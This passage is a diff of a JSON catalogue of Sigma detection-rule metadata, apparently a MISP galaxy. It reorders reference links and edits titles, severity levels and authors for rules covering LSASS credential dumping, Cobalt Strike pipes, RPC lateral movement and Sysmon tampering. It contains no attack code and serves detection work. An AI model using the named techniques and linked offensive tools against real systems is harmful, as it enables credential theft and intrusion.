"logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml" ], @@ -2672,11 +2672,11 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md", + "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml" ], @@ -2700,9 +2700,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", "https://github.com/zeronetworks/rpcfirewall", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml" ], @@ -2761,9 +2761,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml" ], @@ -2787,8 +2787,8 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/zeronetworks/rpcfirewall", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml" @@ -2823,10 +2823,10 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/zeronetworks/rpcfirewall", - "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml" ], "tags": [ @@ -2849,9 +2849,9 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml" ], @@ -2876,8 +2876,8 @@ "logsource.category": "application", "logsource.product": "velocity", "refs": [ - "https://antgarsil.github.io/posts/velocity/", "https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs", + "https://antgarsil.github.io/posts/velocity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/velocity/velocity_ssti_injection.yml" ], "tags": [ @@ -2931,7 +2931,7 @@ "value": "Potential Credential Dumping Attempt Via PowerShell" }, { - "description": "Detects process access to LSASS memory with suspicious access flags and from a suspicious folder", + "description": "Detects process access to LSASS memory with suspicious access flags and from a potentially suspicious folder", "meta": { "author": "Florian Roth (Nextron Systems)", "creation_date": "2021/11/27", @@ -2939,15 +2939,15 @@ "Updaters and installers are typical false positives. Apply custom filters depending on your environment" ], "filename": "proc_access_win_susp_proc_access_lsass_susp_source.yml", - "level": "high", + "level": "medium", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml" ], "tags": [ @@ -2966,7 +2966,7 @@ } ], "uuid": "fa34b441-961a-42fa-a100-ecc28c886725", - "value": "LSASS Access from Program in Suspicious Folder" + "value": "LSASS Access From Program in Potentially Suspicious Folder" }, { "description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.", @@ -2981,8 +2981,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/shantanukhande/status/1229348874298388484", "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", + "https://twitter.com/shantanukhande/status/1229348874298388484", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml" ], "tags": [ @@ -3128,8 +3128,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://github.com/hlldz/Invoke-Phant0m", "https://twitter.com/timbmsft/status/900724491076214784", + "https://github.com/hlldz/Invoke-Phant0m", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_phantom.yml" ], "tags": [ @@ -3162,9 +3162,9 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/_xpn_/status/1491557187168178176", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", "https://twitter.com/mrd0x/status/1460597833917251595", + "https://twitter.com/_xpn_/status/1491557187168178176", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_evasion.yml" ], "tags": [ @@ -3419,8 +3419,8 @@ "logsource.product": "windows", "refs": [ "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md", + "https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html", "https://research.splunk.com/endpoint/windows_possible_credential_dumping/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml" ], @@ -3455,10 +3455,10 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cred_dump_lsass_access.yml" ], "tags": [ @@ -3493,11 +3493,11 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_rare_proc_access_lsass.yml" ], "tags": [ @@ -3531,11 +3531,11 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass.yml" ], "tags": [ @@ -3752,8 +3752,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://twitter.com/_xpn_/status/1491557187168178176", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", + "https://twitter.com/_xpn_/status/1491557187168178176", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_indicators.yml" ], "tags": [ @@ -3787,9 +3787,9 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ + "https://github.com/codewhitesec/SysmonEnte/", "https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html", "https://github.com/codewhitesec/SysmonEnte/blob/main/screens/1.png", - "https://github.com/codewhitesec/SysmonEnte/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hack_sysmonente.yml" ], "tags": [ @@ -3822,8 +3822,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://github.com/boku7/injectAmsiBypass", "https://github.com/boku7/spawn", + "https://github.com/boku7/injectAmsiBypass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cobaltstrike_bof_injection_pattern.yml" ], "tags": [ @@ -3865,8 +3865,8 @@ "logsource.category": "process_access", "logsource.product": "windows", "refs": [ - "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", "https://twitter.com/SBousseaden/status/1541920424635912196", + "https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html", "https://github.com/elastic/detection-rules/blob/2bc1795f3d7bcc3946452eb4f07ae799a756d94e/rules/windows/credential_access_lsass_handle_via_malseclogon.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_seclogon.yml" ], @@ -3981,8 +3981,8 @@ "logsource.category": "sysmon_error", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml" ], "tags": [ @@ -4015,8 +4015,8 @@ "logsource.category": "sysmon_status", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml" ], "tags": [ @@ -4176,11 +4176,11 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", - "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", - "https://github.com/SigmaHQ/sigma/issues/253", "https://twitter.com/d4rksystem/status/1357010969264873472", + "https://github.com/SigmaHQ/sigma/issues/253", + "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", + "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml" ], "tags": [ @@ -4249,8 +4249,8 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html", "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html", + "https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_alternate_powershell_hosts_pipe.yml" ], "tags": [ @@ -4372,8 +4372,8 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html", "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html", + "https://threathunterplaybook.com/hunts/windows/190410-LocalPwshExecution/notebook.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml" ], "tags": [ @@ -4406,8 +4406,8 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe_from_susp_location.yml" ], "tags": [ @@ -4441,8 +4441,8 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://github.com/zcgonvh/EfsPotato", "https://twitter.com/SBousseaden/status/1429530155291193354?s=20", + "https://github.com/zcgonvh/EfsPotato", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_efspotato_namedpipe.yml" ], "tags": [ @@ -4518,18 +4518,18 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://securelist.com/faq-the-projectsauron-apt/75533/", + "https://www.us-cert.gov/ncas/alerts/TA17-117A", "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", - "https://www.us-cert.gov/ncas/alerts/TA17-117A", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://securelist.com/faq-the-projectsauron-apt/75533/", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://github.com/RiccardoAncarani/LiquidSnake", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", "https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a", "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://github.com/RiccardoAncarani/LiquidSnake", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_namedpipes.yml" ], "tags": [ @@ -4563,8 +4563,8 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe.yml" ], "tags": [ @@ -4598,9 +4598,9 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://github.com/Azure/SimuLand", - "https://o365blog.com/post/adfs/", "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml", + "https://o365blog.com/post/adfs/", + "https://github.com/Azure/SimuLand", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_adfs_namedpipe_connection.yml" ], "tags": [ @@ -4757,8 +4757,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", "https://app.any.run/tasks/7123e948-c91e-49e0-a813-00e8d72ab393/#", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule_susp_folder.yml" ], "tags": "No established tags" @@ -4826,7 +4826,7 @@ { "description": "Detects when a all the rules have been deleted from the Windows Defender Firewall configuration", "meta": { - "author": "frack113, Nasreddine Bencherchali", + "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", "creation_date": "2023/01/17", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_delete_all_rules.yml", @@ -4845,7 +4845,7 @@ { "description": "Detects activity when the settings of the Windows firewall have been changed", "meta": { - "author": "frack113", + "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", "creation_date": "2022/02/19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_setting_change.yml", @@ -5038,8 +5038,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml" ], "tags": [ @@ -5073,9 +5073,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", "https://twitter.com/MsftSecIntel/status/1257324139515269121", + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", + "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml" ], "tags": [ @@ -5108,8 +5108,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4701", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4701", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_delete_or_disable.yml" ], "tags": [ @@ -5262,8 +5262,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423", "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml" ], "tags": "No established tags" @@ -5317,9 +5317,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964", - "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml" ], "tags": "No established tags" @@ -5340,8 +5340,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://o365blog.com/post/hybridhealthagent/", "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml", + "https://o365blog.com/post/hybridhealthagent/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml" ], "tags": [ @@ -5374,8 +5374,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/mattifestation/status/899646620148539397", "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://twitter.com/mattifestation/status/899646620148539397", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml" ], "tags": [ @@ -5485,29 +5485,6 @@ "uuid": "72124974-a68b-4366-b990-d30e0b2a190d", "value": "Metasploit SMB Authentication" }, - { - "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/03", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_security_diagtrack_eop_default_login_username.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_diagtrack_eop_default_login_username.yml" - ], - "tags": [ - "attack.privilege_escalation" - ] - }, - "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196", - "value": "DiagTrackEoP Default Login Username" - }, { "description": "This events that are generated when using the hacktool Ruler by Sensepost", "meta": { @@ -5521,10 +5498,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", - "https://github.com/sensepost/ruler", "https://github.com/sensepost/ruler/issues/47", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624", + "https://github.com/sensepost/ruler", "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml" ], @@ -5616,8 +5593,8 @@ "logsource.product": "windows", "refs": [ "https://awakesecurity.com/blog/threat-hunting-for-paexec/", - "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", + "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml" ], "tags": [ @@ -5688,40 +5665,6 @@ "uuid": "32d56ea1-417f-44ff-822b-882873f5f43b", "value": "Impacket PsExec Execution" }, - { - "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", - "meta": { - "author": "Florian Roth (Nextron Systems), Bartlomiej Czyz (@bczyz1)", - "creation_date": "2019/03/04", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_apt_slingshot.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://securelist.com/apt-slingshot/84312/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_slingshot.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053", - "attack.s0111" - ] - }, - "related": [ - { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "c5a178bf-9cfb-4340-b584-e4df39b6a3e7", - "value": "Defrag Deactivation - Security" - }, { "description": "Detects remote service activity via remote access to the svcctl named pipe", "meta": { @@ -5811,9 +5754,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634", "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4647", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml" ], "tags": "No established tags" @@ -5853,41 +5796,6 @@ "uuid": "098d7118-55bc-4912-a836-dc6483a8d150", "value": "Access to ADMIN$ Share" }, - { - "description": "Detects the attack technique pass the hash which is used to move laterally inside the network", - "meta": { - "author": "Dave Kennedy, 